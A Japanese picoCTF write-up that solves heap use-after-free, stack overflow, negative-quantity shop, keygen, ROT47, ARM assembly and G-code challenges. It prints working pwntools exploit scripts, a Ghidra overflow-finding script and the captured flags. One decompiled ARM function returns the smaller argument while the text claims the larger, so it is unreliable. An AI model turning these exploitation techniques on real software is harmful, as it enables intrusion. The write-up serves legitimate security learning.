$ python solve.py [+] start find cand1 [+] finish find cand1 [+] elapsed: 0.001474142074584961 [+] start find cand2 [+] finish find cand2 [+] elapsed: 0.029284954071044922 [+] start find cand3 [+] finish find cand3 [+] elapsed: 0.27237415313720703 [+] start find cand4 [+] finish find cand4 [+] elapsed: 6.034616947174072 [+] start find cand5 [+] finish find cand5 [+] elapsed: 85.48889708518982 key: oedcfjdbe decrypted: 698987ddce418c11e9aa564229c50fda
Binary Exploitation
Unsubscription Are Free
vuln.cとvulnというELF形式の実行ファイルが与えられます。
#include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <ctype.h> #define FLAG_BUFFER 200 #define LINE_BUFFER_SIZE 20 typedef struct { uintptr_t (*whatToDo)(); char *username; } cmd; char choice; cmd *user; void hahaexploitgobrrr(){ char buf[FLAG_BUFFER]; FILE *f = fopen("flag.txt","r"); fgets(buf,FLAG_BUFFER,f); fprintf(stdout,"%s\n",buf); fflush(stdout); } char * getsline(void) { getchar(); char * line = malloc(100), * linep = line; size_t lenmax = 100, len = lenmax; int c; if(line == NULL) return NULL; for(;;) { c = fgetc(stdin); if(c == EOF) break; if(--len == 0) { len = lenmax; char * linen = realloc(linep, lenmax *= 2); if(linen == NULL) { free(linep); return NULL; } line = linen + (line - linep); linep = linen; } if((*line++ = c) == '\n') break; } *line = '\0'; return linep; } void doProcess(cmd* obj) { (*obj->whatToDo)(); } void s(){ printf("OOP! Memory leak...%p\n",hahaexploitgobrrr); puts("Thanks for subsribing! I really recommend becoming a premium member!"); } void p(){ puts("Membership pending... (There's also a super-subscription you can also get for twice the price!)"); } void m(){ puts("Account created."); } void leaveMessage(){ puts("I only read premium member messages but you can "); puts("try anyways:"); char* msg = (char*)malloc(8); read(0, msg, 8); } void i(){ char response; puts("You're leaving already(Y/N)?"); scanf(" %c", &response); if(toupper(response)=='Y'){ puts("Bye!"); free(user); }else{ puts("Ok. Get premium membership please!"); } } void printMenu(){ puts("Welcome to my stream! ^W^"); puts("=========================="); puts("(S)ubscribe to my channel"); puts("(I)nquire about account deletion"); puts("(M)ake an Twixer account"); puts("(P)ay for premium membership"); puts("(l)eave a message(with or without logging in)"); puts("(e)xit"); } void processInput(){ scanf(" %c", &choice); choice = toupper(choice); switch(choice){ case 'S': if(user){ user->whatToDo = (void*)s; }else{ puts("Not logged in!"); } break; case 'P': user->whatToDo = (void*)p; break; case 'I': user->whatToDo = (void*)i; break; case 'M': user->whatToDo = (void*)m; puts("==========================="); puts("Registration: Welcome to Twixer!"); puts("Enter your username: "); user->username = getsline(); break; case 'L': leaveMessage(); break; case 'E': exit(0); default: puts("Invalid option!"); exit(1); break; } } int main(){ setbuf(stdout, NULL); user = (cmd *)malloc(sizeof(user)); while(1){ printMenu(); processInput(); //if(user){ doProcess(user); //} } return 0; }
processInputでuser->whatToDoに関数がセットされてdoProcessで実行されます。
hahaexploitgobrrrというフラグを表示する関数がありますがどこからも呼び出されていません。しかし、processInputでSと入力してs関数を呼び出すとhahaexploitgobrrr関数のアドレスを手に入れることができます。
main関数内にあるwhileの中のコメントアウトされた部分がどうも怪しいです。
leaveMessage関数とi関数に着目します。
void leaveMessage(){ puts("I only read premium member messages but you can "); puts("try anyways:"); char* msg = (char*)malloc(8); read(0, msg, 8); } void i(){ char response; puts("You're leaving already(Y/N)?"); scanf(" %c", &response); if(toupper(response)=='Y'){ puts("Bye!"); free(user); }else{ puts("Ok. Get premium membership please!"); } }
まず、i関数から見ていきます。
i関数の中にuserをfreeしている箇所があります。しかし、プログラムは終了されずmain関数に戻って処理が続いていきます。つまり、freeされたはずのuserという変数が使い続けられます。
次にleaveMessage関数を見てみます。
ここではmallocで8byte分の領域を確保し、好きな値を書き込めるようになっています。また、mallocで確保された領域をfreeしていません。
これらのことから、次の操作を行えばhahaexploitgobrrr関数を呼び出すことができます。
- Sと入力しs関数を呼び出してhahaexploitgobrrr関数のアドレスを手に入れる
- Iと入力しi関数を呼び出してuserをfreeする
- Lと入力しleaveMessage関数を呼び出してhahaexploitgobrrr関数のアドレスを入力する
変数userの型であるcmdのサイズは16byteです。userをfreeするとtcache->entries[0]にuserのアドレスがキャッシュされます。その後にmalloc(8)を実行するとキャッシュを利用してtcache->entries[0]からuserのアドレスを取り出し、そのアドレスが返されます。そして、返ってきた領域の先頭8byteはuser->whatToDoとなっておりread(0, msg, 8)
でここを書き換えることができるため好きなアドレスに飛ばすことができるのです。
from pwn import * # p = process("vuln") p = remote("mercury.picoctf.net", 48259) # hahaexploitgobrrr p.recvuntil("(e)xit") p.sendline("S") p.recvuntil("OOP! Memory leak...") target = int(p.recvline().rstrip(), 16) # free user p.recvuntil("(e)xit") p.sendline("I") p.recvuntil("You're leaving already(Y/N)?") p.sendline('Y') # char* msg = (char*)malloc(8); cmdのsizeは16であるから、msgにuserのaddressが入る p.recvuntil("(e)xit") p.sendline("L") p.recvuntil("try anyways:") p.sendline(p64(target)) print(p.recvline().rstrip().decode()) print(p.recvline().rstrip().decode())
$ python solve.py [+] Opening connection to mercury.picoctf.net on port 48259: Done picoCTF{d0ubl3_j30p4rdy_cff1f12d}
Bizz Fuzz
vulnというELF形式の実行ファイルが与えられます。実行すると以下のようになります。
$ ./vuln 1? 1 2? 2 3? fizz 1? 1 2? 0 1? 1 2? 2 3? fizz 4? 4 1? 1 2? 2 3? fizz 4? 4 5? buzz fizz ...
Ghidraでデコンパイルしてmain関数を見てみます。
void FUN_0814c22c(void) { setbuf(stdout,(char *)0x0); FUN_0811d5b3(); FUN_0811d941(); puts("fizz"); FUN_0811ead2(); puts("buzz"); puts("fizz"); FUN_0811fbb3(); FUN_08120828(); puts("fizz"); puts("buzz"); FUN_08121d33(); puts("fizz"); FUN_08122908(); FUN_08122ea8(); puts("fizzbuzz"); FUN_081237e9(); FUN_081241ca(); puts("fizz"); FUN_081255ef(); puts("buzz"); puts("fizz"); FUN_08127392(); FUN_08127c08(); puts("fizz"); puts("buzz"); FUN_081294b8(); puts("fizz"); FUN_0812a7b4(); FUN_0812b0ae(); puts("fizzbuzz"); FUN_0812c368(); FUN_0812c6f6(); puts("fizz"); FUN_0812d430(); puts("buzz"); puts("fizz"); FUN_0812edb3(); FUN_0812f1b9(); puts("fizz"); puts("buzz"); FUN_081309d7(); puts("fizz"); FUN_08131dba(); FUN_08132072(); puts("fizzbuzz"); FUN_0813282a(); FUN_0813326e(); puts("fizz"); FUN_08133b70(); puts("buzz"); puts("fizz"); FUN_08135115(); FUN_081355d3(); puts("fizz"); puts("buzz"); FUN_08137124(); puts("fizz"); FUN_08137f92(); FUN_08138931(); puts("fizzbuzz"); FUN_0813979b(); FUN_08139ba1(); puts("fizz"); FUN_0813ac2a(); puts("buzz"); puts("fizz"); FUN_0813ca30(); FUN_0813cf2e(); puts("fizz"); puts("buzz"); FUN_0813e2a2(); puts("fizz"); FUN_0813f4d8(); FUN_0813fe56(); puts("fizzbuzz"); FUN_08140c2e(); FUN_081413de(); puts("fizz"); FUN_0814215d(); puts("buzz"); puts("fizz"); FUN_08142af1(); FUN_08143724(); puts("fizz"); puts("buzz"); FUN_081451af(); puts("fizz"); FUN_08145c2a(); FUN_0814668f(); puts("fizzbuzz"); FUN_081470c9(); FUN_08147792(); puts("fizz"); FUN_0814868f(); puts("buzz"); puts("fizz"); FUN_0814a663(); FUN_0814ac03(); puts("fizz"); puts("buzz"); return; }
大量に関数を呼び出しているのがわかります。setbufの後に呼び出しているFUN_0811d5b3
を見ていきます。
void FUN_0811d5b3(void) { int iVar1; iVar1 = FUN_080486b1(4); if (iVar1 != 4) { FUN_081451af(); iVar1 = FUN_080486b1(4); if (iVar1 != 4) { FUN_0812d430(); iVar1 = FUN_080486b1(10); if (iVar1 != 10) { FUN_0812d430(); iVar1 = FUN_080486b1(7); if (iVar1 != 7) { FUN_08140c2e(); iVar1 = FUN_080486b1(0x11); if (iVar1 != 0x11) { FUN_0811d5b3(); iVar1 = FUN_080486b1(2); if (iVar1 != 2) { FUN_0813e2a2(); iVar1 = FUN_080486b1(0xe); if (iVar1 != 0xe) { FUN_0813fe56(); iVar1 = FUN_080486b1(6); if (iVar1 != 6) { FUN_08137124(); iVar1 = FUN_080486b1(0xe); if (iVar1 != 0xe) { FUN_08142af1(); iVar1 = FUN_080486b1(2); if (iVar1 != 2) { FUN_08127392(); iVar1 = FUN_080486b1(0xc); if (iVar1 != 0xc) { FUN_0812f1b9(); iVar1 = FUN_080486b1(3); if (iVar1 != 3) { FUN_08146b6b(); iVar1 = FUN_080486b1(0x11); if (iVar1 != 0x11) { FUN_0812edb3(); iVar1 = FUN_080486b1(8); if (iVar1 != 8) { FUN_081309d7(); iVar1 = FUN_080486b1(0x11); if (iVar1 != 0x11) { FUN_08140c2e(); iVar1 = FUN_080486b1(9); if (iVar1 != 9) { FUN_0814ac03(); iVar1 = FUN_080486b1(0x11); if (iVar1 != 0x11) { FUN_0812b0ae(); iVar1 = FUN_080486b1(0x12); if (iVar1 != 0x12) { FUN_0814668f(); iVar1 = FUN_080486b1(0xb); if (iVar1 != 0xb) { FUN_080fc4b8(); iVar1 = FUN_080486b1(0x11); if (iVar1 != 0x11) { FUN_0811ead2(); iVar1 = FUN_080486b1(3); if (iVar1 != 3) { FUN_08142af1(); iVar1 = FUN_080486b1(4); if (iVar1 != 4) { FUN_08120828(); iVar1 = FUN_080486b1(7); if (iVar1 != 7) { FUN_0813ac2a(); iVar1 = FUN_080486b1(7); if (iVar1 != 7) { FUN_08127392(); iVar1 = FUN_080486b1(6); if (iVar1 != 6) { FUN_08138931(); iVar1 = FUN_080486b1(10); if (iVar1 != 10) { FUN_08147792(); iVar1 = FUN_080486b1(0xc); if (iVar1 != 0xc) { FUN_08140c2e(); iVar1 = FUN_080486b1(0xc); if (iVar1 != 0xc) { FUN_0811d941(); iVar1 = FUN_080486b1(3); if (iVar1 != 3) { FUN_0812d430(); iVar1 = FUN_080486b1(2); if (iVar1 != 2) { FUN_0814868f(); } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } return; }
FUN_080486b1
の結果を見て分岐しています。main関数で呼び出している関数は全て似たような感じになっています。FUN_080486b1
はmin(第一引数, FizzBuzzに正解した回数)
を返す関数です。
いろいろ見ているとフラグを表示する関数が見つかりました。
void FUN_08048656(void) { char local_74 [100]; FILE *local_10; local_10 = fopen("flag.txt","r"); fgets(local_74,100,local_10); puts(local_74); /* WARNING: Subroutine does not return */ exit(0); }
BOFでリターンアドレスを書き換えてこの関数に飛ばせば良さそうです。
手作業で解析するのは無謀なのでGhidraスクリプトを書いて解析しました。
from __main__ import * START = 0x0804883a END = 0x0811d5b3 FGETS_ADDR = 0x080484a0 GET_PC_THUNK = [toAddr(0x814c6ca), toAddr(0x8048590), toAddr(0x8048573)] MAX_DEPTH = 1e3 INNER_MAIN_FUNCS = [0x811d5b3,0x811d941,0x811ead2,0x811fbb3,0x8120828,0x8121d33,0x8122908,0x8122ea8,0x81237e9,0x81241ca,0x81255ef,0x8127392,0x8127c08,0x81294b8,0x812a7b4,0x812b0ae,0x812c368,0x812c6f6,0x812d430,0x812edb3,0x812f1b9,0x81309d7,0x8131dba,0x8132072,0x813282a,0x813326e,0x8133b70,0x8135115,0x81355d3,0x8137124,0x8137f92,0x8138931,0x813979b,0x8139ba1,0x813ac2a,0x813ca30,0x813cf2e,0x813e2a2,0x813f4d8,0x813fe56,0x8140c2e,0x81413de,0x814215d,0x8142af1,0x8143724,0x81451af,0x8145c2a,0x814668f,0x81470c9,0x8147792,0x814868f,0x814a663,0x814ac03] def getInstructionAfterN(addr, n): inst = getInstructionAt(addr) insts = [] for i in range(n): insts.append(getInstructionAfter(inst)) inst = getInstructionAfter(inst) return insts def getInstructionBeforeN(addr, n): inst = getInstructionAt(addr) insts = [] for i in range(n): insts.append(getInstructionBefore(inst)) inst = getInstructionBefore(inst) return insts # Find functions that are vulnerable to BOF. def find_bof(): fm = getCurrentProgram().getFunctionManager() funcs = [] for f in fm.getFunctions(True): addr = f.getEntryPoint().getOffset() if START <= addr < END: funcs.append(f) # find BOF for func in funcs: entry = func.getEntryPoint() tmp = getInstructionAfterN(entry, 3) sub_esp = tmp[-1] stack_size = sub_esp.getOpObjects(1)[0].getValue() # get bufsize buf_size = abs(func.getLocalVariables()[-1].getStackOffset()) inst = getInstructionAt(entry) while True: iaddr = inst.getInstructionContext().getAddress() mnemo = inst.getMnemonicString() if mnemo == "CALL": target = inst.getOpObjects(0)[0].getOffset() if target == FGETS_ADDR: arg2_inst = getInstructionBeforeN(iaddr, 3)[-1] arg2 = arg2_inst.getOpObjects(0)[0].getValue() if arg2 > buf_size: print("found BOF!") print("func:", func, entry) print("addr:", iaddr) print(arg2, buf_size) return func if getFunctionContaining(iaddr) != func: break inst = inst.getNext() # Find path from the main function to the BOF vulnerable function def find_path(): fm = getCurrentProgram().getFunctionManager() bof_func = find_bof() target_addr = [toAddr(addr) for addr in INNER_MAIN_FUNCS] results = [] already_passed = set() print("[+] start!") def find_recursive(addr, parent_addr, paths, depth=0): if depth >= MAX_DEPTH: return already_passed.add(addr) for ref in getReferencesTo(addr): from_addr = ref.getFromAddress() f = fm.getFunctionContaining(from_addr) if not f: continue if f.getEntryPoint() in already_passed: continue for ta in target_addr: if f.getEntryPoint().getOffset() == ta.getOffset(): print("found!!!!!!!!!!!!!!!!!!!!!!!") print(addr, parent_addr, f, from_addr) paths[parent_addr] = {addr:f.getEntryPoint()} results.append(f.getEntryPoint()) return paths[parent_addr] = {addr:None} find_recursive(f.getEntryPoint(), addr, paths[parent_addr], depth=depth+1) paths = {} find_recursive(bof_func.getEntryPoint(), toAddr(0), paths) print("[+] finish!") print("*** path ***") print(paths) def fizzbuzz(n): s = [] for i in range(1, n+1): if i % 15 == 0: s.append("fizzbuzz") elif i % 3 == 0: s.append("fizz") elif i % 5 == 0: s.append("buzz") else: s.append(str(i)) return "\n".join(s) + "\n" # Find all `call <func>` in the given func def find_calls(func, target=None, avoid=None): calls = [] inst = getInstructionAt(func.getEntryPoint()) while True: iaddr = inst.getInstructionContext().getAddress() mnemo = inst.getMnemonicString() if mnemo == "CALL": call_func = inst.getOpObjects(0)[0] if target and call_func == target: calls.append((iaddr, call_func)) continue if not avoid or (avoid and call_func not in avoid): calls.append((iaddr, call_func)) if getFunctionContaining(iaddr) != func: break inst = inst.getNext() return calls def solve_fizzbuzz(call_addr): # push <val> # call FUN_080486b1 push = getInstructionBefore(call_addr) val = push.getOpObjects(0)[0].getValue() return fizzbuzz(val - 1) def gen_payload(): payload = "" paths = [0x813ca30, 0x8143ffd, 0x81313b8, 0x8109f08, 0x808ae73] for im in INNER_MAIN_FUNCS: if im == paths[0]: break first = find_calls(getFunctionAt(toAddr(im)), avoid=GET_PC_THUNK)[0] payload += solve_fizzbuzz(first[0]) print("[+] path 1: done!") for idx in range(len(paths) - 2): first_func_addr = paths[idx] print("[+] path %d (%s): start!" % (idx + 2, hex(first_func_addr))) calls = find_calls(getFunctionAt(toAddr(first_func_addr)), avoid=GET_PC_THUNK) for i in range(0, len(calls), 2): caddr, ctarget = calls[i] caddr_if, ctarget_if = calls[i+1] # debug print print("out: FUN_%s" % (hex(ctarget.getOffset()))) print("in : FUN_%s" % (hex(ctarget_if.getOffset()))) if ctarget_if.getOffset() != paths[idx+1]: payload += "0\n" ct_if_func = getFunctionAt(ctarget_if) first = find_calls(ct_if_func, avoid=GET_PC_THUNK)[0] payload += solve_fizzbuzz(first[0]) else: payload += "0\n" break print("[+] path %d (%s): done!" % (idx + 2, hex(first_func_addr))) # 0x8109f08: manual input # if local_10 == 5 then call 0x808ae73 payload += fizzbuzz(5 - 1) payload += "0\n" ## 0x808ae73: manual input ## if local_10 == 1 then call vuln fgets payload += "0\n" # save payload with open("/<homepath>/payload.txt", "w") as f: f.write(payload) print("[+] done!")
このスクリプトの主な関数は以下の3つです
- find_bof: BOFできる関数を探す関数
- fgetsを呼び出している場所を見つけて第二引数を調べる
- 第二引数がスタック上に確保した領域より大きいか調べる
- 大きければBOFできる関数として返す
- find_path: BOFできる関数へたどり着くための分岐を求める関数
- gen_payload: BOFできる関数へたどり着くための入力を生成する関数
Ghidra上のPythonインタプリタ上でgen_payload関数を実行するとホームディレクトリにpayload.txtが生成されます。
Python Interpreter for Ghidra Based on Jython version 2.7.2 (v2.7.2:925a3cc3b49d, Mar 21 2020, 10:03:58) [Java HotSpot(TM) 64-Bit Server VM (Oracle Corporation)] Press 'F1' for usage instructions >>> from bizzfuzz import * >>> find_bof() found BOF! ('func:', FUN_0808ae73, 0808ae73) ('addr:', 0808aeb0) (348L, 103) FUN_0808ae73 # BOFの脆弱性がある関数 >>> find_path() found BOF! ('func:', FUN_0808ae73, 0808ae73) ('addr:', 0808aeb0) (348L, 103) [+] start! found!!!!!!!!!!!!!!!!!!!!!!! (08143ffd, 081313b8, FUN_0813ca30, 0813cb2e) [+] finish! *** path *** {00000000: {0808ae73: {08109f08: {081313b8: {08143ffd: 0813ca30}}}}} >>> # find_pathの結果から >>> # main -> 0x813ca30 -> 0x8143ffd -> 0x81313b8 -> 0x8109f08 -> 0x808ae73 >>> gen_payload() [+] path 1: done! [+] path 2 (0x813ca30): start! out: FUN_0x80486b1L in : FUN_0x813282aL ... out: FUN_0x80486b1L in : FUN_0x8109f08L [+] path 4 (0x81313b8): done! [+] done!
あとは生成されたpayloadを送信して、BOFを利用してリターンアドレスをFUN_08048656
書き換えるとフラグが手に入ります。
from pwn import * show_flag = 0x8048656 offset = 103 p = remote("mercury.picoctf.net", 26424) with open("payload.txt") as f: for line in f.readlines(): # 改行があるとfgetsの部分でこけるため if line.rstrip() == "0": p.send(b"A" * 9) else: p.sendline(line.rstrip()) # overwrite retaddr payload = b"A" * offset payload += p32(show_flag) p.sendline(payload) p.interactive()
[+] Opening connection to mercury.picoctf.net on port 26424: Done [*] Switching to interactive mode 1? 2? 3? 1? 2? 3? 4? 5? 6? fizz 1? buzz fizz 1? 2? 3? 4? 5? 6? 7? 8? 1? 2? 3? 4? 5? 6? 7? 8? 9? 10? 11? fizz buzz 1? 2? fizz 1? 2? 3? 4? 5? 6? 7? 8? 9? 10? 11? 1? 2? 3? fizzbuzz 1? 2? 3? 4? 5? 6? 1? 2? 3? 4? 5? 6? 7? 8? 9? 10? 11? 12? fizz 1? 2? 3? 4? 5? 6? 7? 8? 9? 10? 11? buzz fizz 1? 2? 3? 4? 5? 6? 7? 8? 9? 10? 11? 12? 13? 14? 15? 16? 17? 1? 2? 3? 4? 5? 6? 7? 8? 9? 10? 11? 12? 13? 14? fizz buzz 1? 2? fizz 1? 2? 3? 4? 5? 6? 7? 8? 9? 10? 11? 1? 2? 3? 4? 5? 6? 7? 8? 9? 10? 11? 12? 13? 14? 15? fizzbuzz 1? 2? 3? 4? 5? 6? 7? 8? 9? 10? 11? 12? 13? 1? 2? 3? 4? 5? 6? 7? 8? fizz 1? 2? 3? 4? 5? 6? 7? 8? 9? 10? 11? buzz fizz 1? 2? 3? 4? 5? 6? 7? 8? 9? 10? 11? 12? 13? 14? 15? 1? 2? 3? 4? 5? 6? 7? 8? 9? 10? 11? 12? fizz buzz 1? 2? 3? 4? 5? 6? 7? 8? 9? 10? 11? 12? 13? 14? 15? 16? fizz 1? 2? 3? 4? 5? 1? 2? 3? 4? 5? 6? 7? 8? 9? 10? 11? 12? 13? fizzbuzz 1? 2? 3? 4? 5? 6? 1? 2? 3? 4? 5? 6? 7? 8? 9? fizz 1? 2? 3? 4? 5? 6? 7? 8? 9? 10? 11? 12? 13? 14? buzz fizz 1? 2? 3? 4? 5? 6? 7? 8? 9? 10? 11? 12? 1? 2? 3? 4? 5? 6? fizz buzz 1? 2? 3? 4? 5? 6? 7? fizz 1? 2? 3? 4? 5? 6? 7? 8? 9? 10? 11? 12? 1? 2? 3? 4? 5? 6? 7? 8? 9? 10? 11? 12? 13? 14? 15? 16? fizzbuzz 1? 2? 3? 4? 5? 6? 7? 8? 9? 10? 1? 2? 3? 4? 5? 6? 7? 8? 9? 10? 11? 12? 13? 14? 15? 16? 17? fizz 1? 2? 3? 4? 5? 6? 7? 8? 9? 10? buzz fizz 1? 1? 2? 3? 4? 5? 6? 1? 1? 2? 3? 4? 5? 6? 7? 8? 9? 10? 11? 12? 1? 1? 2? 3? 4? 5? 6? 7? 8? 9? 10? 11? 12? 13? 14? 1? 1? 2? 3? 4? 5? 6? 1? 1? 2? 3? 4? 5? 6? 1? 1? 2? 3? 4? 5? 6? 7? 8? 9? 10? 11? 12? 13? 14? 15? 1? 1? 2? 3? 4? 5? 6? 7? 8? 9? 10? 11? 12? 13? 14? 15? 1? 1? 2? 3? 4? 5? 6? 7? 8? 9? 1? 1? 1? 1? 1? 1? 2? 1? 1? 2? 3? 4? 5? 6? 7? 8? 9? 10? 11? 12? 13? 14? 15? 16? 1? 1? 2? 3? 4? 5? 6? 7? 8? 9? 10? 11? 12? 1? 1? 2? 3? 4? 1? 1? 2? 3? 4? 5? 6? 1? 1? 2? 1? 1? 2? 3? 4? 5? 6? 1? 1? 2? 3? 4? 5? 6? 1? 1? 2? 3? 4? 5? 1? 1? 2? 3? 1? 1? 2? 3? 4? 5? 6? 7? 8 ? 9? 10? 11? 1? 1? 2? 3? 4? 5? 6? 7? 8? 9? 10? 11? 12? 1? 1? 2? 3? 4? 1? 1? 2? 3? 4? 5? 6? 1? 1? 2? 3? 4? 5? 6? 7? 8? 9? 10? 11? 12? 1? 1? 1? 1? 2? 3? 4? 5? 6? 7? 8? 9? 10? 11? 1? 1? 2? 3? 4? 5? 6? 7? 8? 9? 10? 1? 1? 2? 3? 4? 5? 6? 7? 8? 1? 1? 2? 3? 4? 5? 6? 7? 8? 9? 10? 11? 12 ? 13? 1? 1? 2? 3? 1? 1? 2? 3? 4? 1? 1? 2? 3? 4? 5? 1? picoCTF{y0u_found_m3} [*] Got EOF while reading in interactive
Reversing
Transformation
encというファイルが与えられます。
問題文を見ると
''.join([chr((ord(flag[i]) << 8) + ord(flag[i + 1])) for i in range(0, len(flag), 2)])
と書かれています。これをもとにencを復元するコードを書けばフラグが手に入ります。
enc = open("enc").read() flag = "" for e in enc: flag += chr((ord(e) & 0xff00) >> 8) flag += chr(ord(e) & 0xff) print(flag)
$ python solve.py picoCTF{16_bits_inst34d_of_8_04c0760d}
keygenme-py
keygenme-trial.pyというファイルが渡されます。その中のcheck_key
関数に着目します。
def check_key(key, username_trial): global key_full_template_trial if len(key) != len(key_full_template_trial): return False else: # Check static base key part --v i = 0 for c in key_part_static1_trial: if key[i] != c: return False print(f"{i}: ok!") i += 1 # TODO : test performance on toolbox container # Check dynamic part --v if key[i] != hashlib.sha256(username_trial).hexdigest()[4]: return False else: i += 1 if key[i] != hashlib.sha256(username_trial).hexdigest()[5]: return False else: i += 1 if key[i] != hashlib.sha256(username_trial).hexdigest()[3]: return False else: i += 1 if key[i] != hashlib.sha256(username_trial).hexdigest()[6]: return False else: i += 1 if key[i] != hashlib.sha256(username_trial).hexdigest()[2]: return False else: i += 1 if key[i] != hashlib.sha256(username_trial).hexdigest()[7]: return False else: i += 1 if key[i] != hashlib.sha256(username_trial).hexdigest()[1]: return False else: i += 1 if key[i] != hashlib.sha256(username_trial).hexdigest()[8]: return False return True
key_full_template_trial
とusername_trial
はkeygenme-trial.pyに書かれているため、keyを求めることができます。
import hashlib key = "picoCTF{1n_7h3_|<3y_of_" username_trial = b"PRITCHARD" key += hashlib.sha256(username_trial).hexdigest()[4] \ + hashlib.sha256(username_trial).hexdigest()[5] \ + hashlib.sha256(username_trial).hexdigest()[3] \ + hashlib.sha256(username_trial).hexdigest()[6] \ + hashlib.sha256(username_trial).hexdigest()[2] \ + hashlib.sha256(username_trial).hexdigest()[7] \ + hashlib.sha256(username_trial).hexdigest()[1] \ + hashlib.sha256(username_trial).hexdigest()[8] print(key + "}")
$ python solve.py picoCTF{1n_7h3_|<3y_of_54ef6292}
crackme-py
decode_secret関数にbezos_cc_secretという変数を渡すとフラグが得られます。
bezos_cc_secret = "A:4@r%uL`M-^M0c0AbcM-MFE055a4ce`eN" # Reference alphabet alphabet = "!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ"+ \ "[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~" def decode_secret(secret): """ROT47 decode NOTE: encode and decode are the same operation in the ROT cipher family. """ # Encryption key rotate_const = 47 # Storage for decoded secret decoded = "" # decode loop for c in secret: index = alphabet.find(c) original_index = (index + rotate_const) % len(alphabet) decoded = decoded + alphabet[original_index] print(decoded) decode_secret(bezos_cc_secret)
$ python solve.py picoCTF{1|\/|_4_p34|\|ut_dd2c4616}
ARMssembly_0
armアセンブリが渡されます。
適当にarmアセンブリについて調べるといろいろ情報が出てくるので、それを参考に渡されたアセンブリコードを読んでいきます。
また、Compiler explorerを使うとC言語をarmアセンブリに変換できるので、うまく読み取れているか確認できます。
chall.Sを手動逆コンパイルすると以下のコードになります。
#include <stdio.h> int func1(int a, int b) { return b <= a ? b : a; } int main(int argc, char *argv[]) { int a = atoi(argv[1]); int b = atoi(argv[2]); printf("Result: %d\n", func1(a, b)); }
与えられた2つの引数の内大きい方を出力するだけのプログラムです。
What integer does this program print with arguments 1765227561 and 1830628817?
と問題文にあるので1765227561
と1830628817
の内大きい方、つまり1830628817
を16進8桁の値にしてpicoCTF{}
で包んだpicoCTF{6d1d2dd1}
がフラグとなります。
speeds and feeds
nc mercury.picoctf.net 7032
に接続すると以下の文字列が得られました(長いので一部だけ)
G17 G21 G40 G90 G64 P0.003 F50 G0Z0.1 G0Z0.1 G0X0.8276Y3.8621 G1Z0.1 G1X0.8276Y-1.9310 G0Z0.1 G0X1.1034Y3.8621 G1Z0.1 G1X1.1034Y-1.9310
ヒントを見るとWhat language does a CNC machine use?
と書かれていたので、CNCについて調べてみるとGコードなるものが見つかりました。
Gコードに従って線を引くプログラムを作成し実行するとフラグが出てきました。
from PIL import Image, ImageDraw, ImageOps import re data: str = open("data").read() img = Image.new(("L"), (2000, 500)) draw = ImageDraw.Draw(img) current_pos = () for line in data.splitlines()[1:]: if line.startswith("G0Z") or line.startswith("G1Z"): continue m = re.match(r"G([01])X([0-9]+?\.[0-9]+)Y(\-?[0-9]+\.[0-9]+)", line) mode, x, y = m.groups() if mode == "0": current_pos = (float(x) * 10, 250 + float(y) * 10) else: x1, y1 = current_pos x2, y2 = float(x) * 10, 250 + float(y) * 10 draw.line((x1, y1, x2, y2), fill=(255)) current_pos = (x2, y2) img = ImageOps.flip(img) img.show()
$ nc mercury.picoctf.net 7032 > data $ python solve.py
Shop
mercury.picoctf.net 34938
で以下のようなプログラムが動作しています。
$ nc mercury.picoctf.net 34938 Welcome to the market! ===================== You have 40 coins Item Price Count (0) Quiet Quiches 10 12 (1) Average Apple 15 8 (2) Fruitful Flag 100 1 (3) Sell an Item (4) Exit Choose an option: 0 How many do you want to buy? 4 You have 0 coins Item Price Count (0) Quiet Quiches 10 8 (1) Average Apple 15 8 (2) Fruitful Flag 100 1 (3) Sell an Item (4) Exit Choose an option: 4
Fruitful Flag
を購入するとフラグが手に入りそうなのですが所持金は40 coinしかなく買えません。
そこで、Quiet Quiches
を購入し個数を入力する時に負数を入力してみます。
$ nc mercury.picoctf.net 34938 Welcome to the market! ===================== You have 40 coins Item Price Count (0) Quiet Quiches 10 12 (1) Average Apple 15 8 (2) Fruitful Flag 100 1 (3) Sell an Item (4) Exit Choose an option: 0 How many do you want to buy? -10 You have 140 coins Item Price Count (0) Quiet Quiches 10 8 (1) Average Apple 15 8 (2) Fruitful Flag 100 1 (3) Sell an Item (4) Exit Choose an option:
そうすると、所持金が増えていることが確認できます。これでFruitful Flag
を購入することができます。
nc mercury.picoctf.net 34938 Welcome to the market! ===================== You have 40 coins Item Price Count (0) Quiet Quiches 10 12 (1) Average Apple 15 8 (2) Fruitful Flag 100 1 (3) Sell an Item (4) Exit Choose an option: 0 How many do you want to buy? -6 You have 100 coins Item Price Count (0) Quiet Quiches 10 18 (1) Average Apple 15 8 (2) Fruitful Flag 100 1 (3) Sell an Item (4) Exit Choose an option: 2 How many do you want to buy? 1 Flag is: [112 105 99 111 67 84 70 123 98 52 100 95 98 114 111 103 114 97 109 109 101 114 95 98 97 54 98 56 99 100 102 125]
後は文字列に変換するだけです。
$ python -c 'print("".join(chr(c) for c in [112, 105, 99, 111, 67, 84, 70, 123, 98, 52, 100, 95, 98, 114, 111, 103, 114, 97, 109, 109, 101, 114, 95, 98, 97, 54, 98, 56, 99, 100, 102, 125]))' picoCTF{b4d_brogrammer_ba6b8cdf}
ARMssembly_1
ARMssembly_0と同様に与えられたアセンブリコードを読むだけです。
chall.Sを手動逆コンパイルすると以下のコードになります。
#include <stdio.h> int func(int a) { int b = 85; int c = 6; int d = 3; int e = b << c; e = e / d; e = e - a; return e; } int main(int argc, char *argv[]) { int tmp = atoi(argv[1]); if (func(tmp) == 0) { puts("You Win!"); } else { puts("You Lose :("); } }
上のコードより(85 << 6) / 3
を計算した値を入力するとe
が0になり、You Win!
が表示されます。
よって1813
を16進8桁の値にしてpicoCTF{}
で包んだpicoCTF{00000715}
がフラグとなります。
ARMssembly 2
他のARMssemblyと同様に与えられたアセンブリコードを読むだけです。
chall.Sを手動逆コンパイルすると以下のコードになります。
#include <stdio.h> unsigned long func(unsigned long a) { unsigned long tmp = 0; for (unsigned long i = 0; i < a; i++) { tmp += 3; } return tmp; } int main(int argc, char *argv[]) { unsigned long tmp = atoi(argv[1]); printf("Result: %ld\n", func(tmp)); }
実行時に与えられた第一引数を整数に変換し3倍しているだけです。
よって3848786505
を3倍して16進数に変換し下8桁をpicoCTF{}
で包んだpicoCTF{b03776db}
がフラグとなります。
